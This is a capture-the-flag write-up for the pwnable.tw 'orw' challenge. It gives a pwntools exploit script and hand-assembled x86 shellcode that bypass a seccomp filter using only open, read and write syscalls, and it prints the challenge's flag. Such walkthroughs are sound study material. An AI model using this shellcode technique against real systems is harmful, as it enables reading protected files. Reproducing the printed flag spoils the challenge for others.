The goal is to write a open read write sycalls only shellcode.the binary restricts the syscalls used through use of seccomp technology.

orw challenge pwnable.tw 100pts

goal

```
Read the flag from /home/orw/flag.

Only open read write syscall are allowed to use.

nc chall.pwnable.tw 10001
```

method 1 : using pwn tools.

pwntools is handy python library that is useful in binary exploitation of the CTF challenges.

below is my python3 code.

```
from pwn import *


HOST = "chall.pwnable.tw"
PORT = "10001"

def exploit(io):
    #shellcode with only open, read, write syscall
    #open(char *pathname, int flags, mode_t mode)
    #read(inf fd, void *buf, size_t count)
    #write(inf fd, const void *buf, size_t  count)
    #exit(0)

    flag = "/home/orw/flag"

    payload =  asm(shellcraft.i386.linux.open(flag, 0 ))
    payload += asm(shellcraft.i386.linux.read(3, 'esp' , 0x100))
    payload += asm(shellcraft.i386.linux.write(1, 'esp', 0x100))
    #payload += asm(shellcraft.i386.linux.exit(0))

    io.sendafter('shellcode:', payload)
    print(io.recv())
    #rint(disasm(payload))

if __name__ == "__main__":
    #elf = ELF('./orw')

    if  len(sys.argv) > 1:
        io = remote(HOST, PORT)
        exploit(io)
```

```
    else:
        io = process(elf.path)
        pause()
        exploit(io)
```

from the above code we can test our payload locally and then execute on the exploit on the challenge server.

method 2: Manually using nasm

we only open read write syscall in writing our shellcode.Because it is an X86 binary we need to understand our calling conventions. In x86 the system call numbers are passed through EAX register and the Arguments are passed as Arg1, Arg2, Arg3, Arg4 to EBX, ECX, EDX, ESI registers respectivelly.

`shellcode preview`

we first declare global _start in order for `ld` linker to know the entrypoint. we then jump to the flag where our flag path is stored. pop ebx pushes the flag string to the top of the stack. open read syscall is 5 , read syscall is 3 and write syscall is 4.

```
.global _start
_start:
.intel_syntax noprefix
  jmp flag

state:
    pop ebx
    mov eax, 5  #open_syscall
    int 0x80

    mov ebx, eax  #mov file descriptor returned by open to ebx
    xor eax, eax  #clear eax register
    mov eax, 3    #read syscall
    mov ecx, esp  #buffer to read from
    mov edx, 0x30 #size to read from the buffer
    int 0x80

    mov eax, 4   # write_syscall
    mov ebx, 1   # stdout file descriptor
    int 0x80

    xor ebx, ebx  #clear ebx register for exit status
    xor eax, eax
    inc eax       #exit syscall
    int 0x80

flag:
     call state
     .asciz "/home/orw/flag" #flag path
```

we compile the above code using gcc

```
ski@lab:~/pwn/tw/2-orw$ cat Makefile
make:
    gcc -nostdlib -static -m32 shell.s -o shell

clean:
    rm shell
ski@lab:~/pwn/tw/2-orw$ (cat shell-raw; echo;cat  ) | nc chall.pwnable.tw 10001
Give my your shellcode:FLAG{sh3llc0ding_w1th_op3n_r34d_writ3}
T□□□\□□□
ski@lab:~/pwn/tw/2-orw$
```

we have compiled our shellcode and executed the payload on the remote server.